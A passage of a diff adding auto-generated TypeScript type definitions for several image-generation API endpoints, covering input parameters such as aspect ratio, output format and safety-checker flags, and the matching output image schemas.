@example ["https://storage.googleapis.com/falserverless/example_inputs/kontext_example_input.webp"] + * @type array + */ + image_urls: string[] + /** + * @description Any custom output aspect ratio as "width:height", for example "16:9", "5:4", or "1920:1200". Common presets are "21:9", "16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16", "9:21". The ratio must be between 1:16 and 16:1, the range Muse supports. Only the ratio is used: Muse renders it at its own fixed resolution of roughly 2.5 megapixels, so "1920:1200" and "960:600" both return the same 1920x1200 image. If omitted, Muse chooses the output dimensions automatically. + * @example 16:9 + */ + aspect_ratio?: string | null + /** + * @description If `True`, the image is returned as a data URI and is not persisted in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of edited images to generate. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'webp' + * @type string | undefined + */ + output_format?: InputMetaMuseImageEditOutputFormatEnumKey + /** + * @description The text prompt used to generate or edit the image. + * @minLength 1 + * @example A cinematic editorial portrait in soft window light with crisp typography + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB6C253Cf = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputMetaMuseImageEdit = { + /** + * @description The generated or edited images. + * @type array + */ + images: ImageB6C253Cf[] +} + +export const inputMetaMuseImageTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMetaMuseImageTextToImageOutputFormatEnumKey = + (typeof inputMetaMuseImageTextToImageOutputFormatEnum)[keyof typeof inputMetaMuseImageTextToImageOutputFormatEnum] + +export type InputMetaMuseImageTextToImage = { + /** + * @description Any custom output aspect ratio as "width:height", for example "16:9", "5:4", or "1920:1200". Common presets are "21:9", "16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16", "9:21". The ratio must be between 1:16 and 16:1, the range Muse supports. Only the ratio is used: Muse renders it at its own fixed resolution of roughly 2.5 megapixels, so "1920:1200" and "960:600" both return the same 1920x1200 image. If omitted, Muse chooses the output dimensions automatically. + * @example 16:9 + */ + aspect_ratio?: string | null + /** + * @description If `True`, the image is returned as a data URI and is not persisted in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'webp' + * @type string | undefined + */ + output_format?: InputMetaMuseImageTextToImageOutputFormatEnumKey + /** + * @description The text prompt used to generate or edit the image. + * @minLength 1 + * @example A cinematic editorial portrait in soft window light with crisp typography + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6Db47Edc = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputMetaMuseImageTextToImage = { + /** + * @description The generated or edited images. + * @type array + */ + images: Image6Db47Edc[] +} + +export const inputMicrosoftMaiImage25OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMicrosoftMaiImage25OutputFormatEnumKey = + (typeof inputMicrosoftMaiImage25OutputFormatEnum)[keyof typeof inputMicrosoftMaiImage25OutputFormatEnum] + +export const inputMicrosoftMaiImage25AspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '16:9': '16:9', + '9:16': '9:16', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputMicrosoftMaiImage25AspectRatioEnumKey = + (typeof inputMicrosoftMaiImage25AspectRatioEnum)[keyof typeof inputMicrosoftMaiImage25AspectRatioEnum] + +export type InputMicrosoftMaiImage25 = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputMicrosoftMaiImage25OutputFormatEnumKey + /** + * @description The aspect ratio of the generated image. Use "auto" to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMicrosoftMaiImage25AspectRatioEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 5000 + * @example A photorealistic concept-art poster of a university campus at sunset, cinematic lighting, a banner reading "LOUISVILLE" in bold serif type. + * @type string + */ + prompt: string +} + +export type ImageFile1F70Bf53 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMicrosoftMaiImage25 = { + /** + * @description The generated images. + * @type array + */ + images: ImageFile1F70Bf53[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export const inputMicrosoftMaiImage25ProAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '16:9': '16:9', + '9:16': '9:16', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputMicrosoftMaiImage25ProAspectRatioEnumKey = + (typeof inputMicrosoftMaiImage25ProAspectRatioEnum)[keyof typeof inputMicrosoftMaiImage25ProAspectRatioEnum] + +export const inputMicrosoftMaiImage25ProOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMicrosoftMaiImage25ProOutputFormatEnumKey = + (typeof inputMicrosoftMaiImage25ProOutputFormatEnum)[keyof typeof inputMicrosoftMaiImage25ProOutputFormatEnum] + +export type InputMicrosoftMaiImage25Pro = { + /** + * @description The aspect ratio of the generated image. Use "auto" to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMicrosoftMaiImage25ProAspectRatioEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputMicrosoftMaiImage25ProOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 5000 + * @example A photorealistic concept-art poster of a university campus at sunset, cinematic lighting, a banner reading "LOUISVILLE" in bold serif type. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile19188053 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMicrosoftMaiImage25Pro = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The generated images. + * @type array + */ + images: ImageFile19188053[] +} + +export const inputMicrosoftMaiImage25ProEditAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '16:9': '16:9', + '9:16': '9:16', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputMicrosoftMaiImage25ProEditAspectRatioEnumKey = + (typeof inputMicrosoftMaiImage25ProEditAspectRatioEnum)[keyof typeof inputMicrosoftMaiImage25ProEditAspectRatioEnum] + +export const inputMicrosoftMaiImage25ProEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMicrosoftMaiImage25ProEditOutputFormatEnumKey = + (typeof inputMicrosoftMaiImage25ProEditOutputFormatEnum)[keyof typeof inputMicrosoftMaiImage25ProEditOutputFormatEnum] + +export type InputMicrosoftMaiImage25ProEdit = { + /** + * @description The URL of the image to edit. Provide one http(s) or data: URL. + * @default '' + * @example https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png + * @type string | undefined + */ + image_url?: string + /** + * @description The aspect ratio of the generated image. Use "auto" to match the input or let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMicrosoftMaiImage25ProEditAspectRatioEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputMicrosoftMaiImage25ProEditOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The instruction describing how to edit the input image(s). + * @minLength 3 + * @maxLength 5000 + * @example Turn this into a clean, futuristic product shot with soft studio lighting. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile9Da4E796 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMicrosoftMaiImage25ProEdit = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The edited images. + * @type array + */ + images: ImageFile9Da4E796[] +} + +export const inputMicrosoftMaiImage25EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMicrosoftMaiImage25EditOutputFormatEnumKey = + (typeof inputMicrosoftMaiImage25EditOutputFormatEnum)[keyof typeof inputMicrosoftMaiImage25EditOutputFormatEnum] + +export const inputMicrosoftMaiImage25EditAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '16:9': '16:9', + '9:16': '9:16', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputMicrosoftMaiImage25EditAspectRatioEnumKey = + (typeof inputMicrosoftMaiImage25EditAspectRatioEnum)[keyof typeof inputMicrosoftMaiImage25EditAspectRatioEnum] + +export type InputMicrosoftMaiImage25Edit = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to edit. Provide one http(s) or data: URL. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputMicrosoftMaiImage25EditOutputFormatEnumKey + /** + * @description The aspect ratio of the generated image. Use "auto" to match the input or let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputMicrosoftMaiImage25EditAspectRatioEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The instruction describing how to edit the input image(s). + * @minLength 3 + * @maxLength 5000 + * @example Turn this into a clean, futuristic product shot with soft studio lighting. + * @type string + */ + prompt: string +} + +export type ImageFile0555E496 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMicrosoftMaiImage25Edit = { + /** + * @description The edited images. + * @type array + */ + images: ImageFile0555E496[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type ImageSizeBddff223 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputNvidiaCosmos3SuperTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputNvidiaCosmos3SuperTextToImageOutputFormatEnumKey = + (typeof inputNvidiaCosmos3SuperTextToImageOutputFormatEnum)[keyof typeof inputNvidiaCosmos3SuperTextToImageOutputFormatEnum] + +export const inputNvidiaCosmos3SuperTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputNvidiaCosmos3SuperTextToImageImageSizeKey = + (typeof inputNvidiaCosmos3SuperTextToImageImageSize)[keyof typeof inputNvidiaCosmos3SuperTextToImageImageSize] + +export type InputNvidiaCosmos3SuperTextToImage = { + /** + * @description If `True`, the image is returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Expand the prompt with OpenRouter before image generation. When enabled, the prompt is rewritten into the dense structured-JSON format Cosmos3 was trained on; generation falls back to the raw prompt if expansion fails. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Stop early when a candidate image is already a strong match for the prompt. + * @default true + * @type boolean | undefined + */ + agentic_early_stop?: boolean + /** + * @description The same seed and prompt given to the same model version will produce the same image every time. + */ + seed?: number | null + /** + * @description Number of denoising steps. More steps yield higher quality but take longer. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt describing the image to generate. + * @minLength 1 + * @maxLength 4096 + * @example A photorealistic close-up of two damp hands shaping a spinning cylinder of wet gray clay on a pottery wheel, fingers pinching the walls upward into a narrow-necked vase, water glistening on the clay, soft studio lighting, shallow depth of field. + * @type string + */ + prompt: string + /** + * @description Enable content moderation for the input prompt and generated images. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Automatically generate and compare multiple candidate images, then refine the prompt between rounds to better match the original request. This can improve prompt adherence but increases latency and billable image generations. + * @default false + * @type boolean | undefined + */ + enable_agentic_generation?: boolean + /** + * @description Classifier-free guidance scale. Higher values increase prompt adherence at the cost of diversity. + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Candidate images to generate and judge per agentic iteration. The best candidate advances to the next rewrite stage. + * @minimum 1 + * @maximum 3 + * @default 2 + * @type integer | undefined + */ + agentic_samples_per_iteration?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputNvidiaCosmos3SuperTextToImageOutputFormatEnumKey + /** + * @description Maximum number of refinement rounds when agentic generation is enabled. + * @minimum 1 + * @maximum 3 + * @default 2 + * @type integer | undefined + */ + agentic_max_iterations?: number + /** + * @description Content to steer the generation away from (colors, objects, artifacts). + * @maxLength 1024 + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. Each edge is clamped to 512-1280px (multiples of 16). + * @default square_hd + * @example {"width":1024,"height":1024} + */ + image_size?: + | ImageSizeBddff223 + | InputNvidiaCosmos3SuperTextToImageImageSizeKey +} + +export type ImageFileD41F484B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputNvidiaCosmos3SuperTextToImage = { + /** + * @description The seed used for generation. + * @example 1143 + * @type integer + */ + seed: number + /** + * @description Whether each generated image was flagged by the safety checker. + * @example [false] + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a8fc99c/cosmos3-vllm-example.jpeg","file_name":"cosmos3-vllm-example.jpeg","content_type":"image/jpeg"}] + * @type array + */ + images: ImageFileD41F484B[] +} + +export type ImageSize76Fed4E4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputOpenaiGptImage2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage2OutputFormatEnumKey = + (typeof inputOpenaiGptImage2OutputFormatEnum)[keyof typeof inputOpenaiGptImage2OutputFormatEnum] + +export const inputOpenaiGptImage2BackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage2BackgroundEnumKey = + (typeof inputOpenaiGptImage2BackgroundEnum)[keyof typeof inputOpenaiGptImage2BackgroundEnum] + +export const inputOpenaiGptImage2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage2ImageSizeKey = + (typeof inputOpenaiGptImage2ImageSize)[keyof typeof inputOpenaiGptImage2ImageSize] + +export const inputOpenaiGptImage2QualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage2QualityEnumKey = + (typeof inputOpenaiGptImage2QualityEnum)[keyof typeof inputOpenaiGptImage2QualityEnum] + +export type InputOpenaiGptImage2 = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage2OutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage2BackgroundEnumKey + /** + * @description The size of the generated image. Supports preset names, explicit {width, height}, or 'auto' to let the model pick the best size. Concrete sizes must have both dimensions as multiples of 16, max edge 3840px, aspect ratio <= 3:1, total pixels between 655,360 and 8,294,400. + * @default landscape_4_3 + */ + image_size?: ImageSize76Fed4E4 | InputOpenaiGptImage2ImageSizeKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Quality for the generated image. Use 'auto' to let the model pick the best quality for the prompt. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage2QualityEnumKey +} + +export type ImageFile40B66Aaa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputOpenaiGptImage2 = { + /** + * @description The generated images. + * @example [{"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","height":1024,"width":1024,"content_type":"image/png"}] + * @type array + */ + images: ImageFile40B66Aaa[] +} + +export type ImageSize531126B9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputOpenaiGptImage25FlareEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage25FlareEditImageSizeKey = + (typeof inputOpenaiGptImage25FlareEditImageSize)[keyof typeof inputOpenaiGptImage25FlareEditImageSize] + +export const inputOpenaiGptImage25FlareEditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage25FlareEditBackgroundEnumKey = + (typeof inputOpenaiGptImage25FlareEditBackgroundEnum)[keyof typeof inputOpenaiGptImage25FlareEditBackgroundEnum] + +export const inputOpenaiGptImage25FlareEditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage25FlareEditQualityEnumKey = + (typeof inputOpenaiGptImage25FlareEditQualityEnum)[keyof typeof inputOpenaiGptImage25FlareEditQualityEnum] + +export const inputOpenaiGptImage25FlareEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage25FlareEditOutputFormatEnumKey = + (typeof inputOpenaiGptImage25FlareEditOutputFormatEnum)[keyof typeof inputOpenaiGptImage25FlareEditOutputFormatEnum] + +/** + * @description GPT Image 2.5 edit inputs with model-specific quality and compression. + * @type object + */ +export type InputOpenaiGptImage25FlareEdit = { + /** + * @description The size of the generated image. Use 'auto' to infer from input images. + * @default auto + */ + image_size?: ImageSize531126B9 | InputOpenaiGptImage25FlareEditImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 16 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage25FlareEditBackgroundEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Mask image URL. White marks regions to edit and black marks regions to keep. + */ + mask_url?: string | null + /** + * @description Quality for the generated image. Higher settings increase detail, latency, and token usage. Use 'auto' to let the model choose. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage25FlareEditQualityEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage25FlareEditOutputFormatEnumKey + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string +} + +export type ImageFileC0948983 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputOpenaiGptImage25FlareEdit = { + /** + * @description The generated images. + * @example [{"file_name":"yUt7tifLSbg1WzWWgfj2o.png","height":1024,"url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","content_type":"image/png","width":1024}] + * @type array + */ + images: ImageFileC0948983[] +} + +export type ImageSize52B8266A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputOpenaiGptImage25FlareTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage25FlareTextToImageOutputFormatEnumKey = + (typeof inputOpenaiGptImage25FlareTextToImageOutputFormatEnum)[keyof typeof inputOpenaiGptImage25FlareTextToImageOutputFormatEnum] + +export const inputOpenaiGptImage25FlareTextToImageQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage25FlareTextToImageQualityEnumKey = + (typeof inputOpenaiGptImage25FlareTextToImageQualityEnum)[keyof typeof inputOpenaiGptImage25FlareTextToImageQualityEnum] + +export const inputOpenaiGptImage25FlareTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage25FlareTextToImageImageSizeKey = + (typeof inputOpenaiGptImage25FlareTextToImageImageSize)[keyof typeof inputOpenaiGptImage25FlareTextToImageImageSize] + +export const inputOpenaiGptImage25FlareTextToImageBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage25FlareTextToImageBackgroundEnumKey = + (typeof inputOpenaiGptImage25FlareTextToImageBackgroundEnum)[keyof typeof inputOpenaiGptImage25FlareTextToImageBackgroundEnum] + +/** + * @description GPT Image 2.5 generation inputs, kept separate from GPT Image 2. + * @type object + */ +export type InputOpenaiGptImage25FlareTextToImage = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage25FlareTextToImageOutputFormatEnumKey + /** + * @description Quality for the generated image. Higher settings increase detail, latency, and token usage. Use 'auto' to let the model choose. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage25FlareTextToImageQualityEnumKey + /** + * @description The size of the generated image. Supports preset names, explicit {width, height}, or 'auto' to let the model pick the best size. Concrete sizes must have both dimensions as multiples of 16, max edge 3840px, aspect ratio <= 3:1, total pixels between 655,360 and 8,294,400. + * @default landscape_4_3 + */ + image_size?: + | ImageSize52B8266A + | InputOpenaiGptImage25FlareTextToImageImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage25FlareTextToImageBackgroundEnumKey + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile0C79Cbf0 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputOpenaiGptImage25FlareTextToImage = { + /** + * @description The generated images. + * @example [{"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","height":1024,"url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","content_type":"image/png","width":1024}] + * @type array + */ + images: ImageFile0C79Cbf0[] +} + +export type ImageSize9E2559Eb = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ 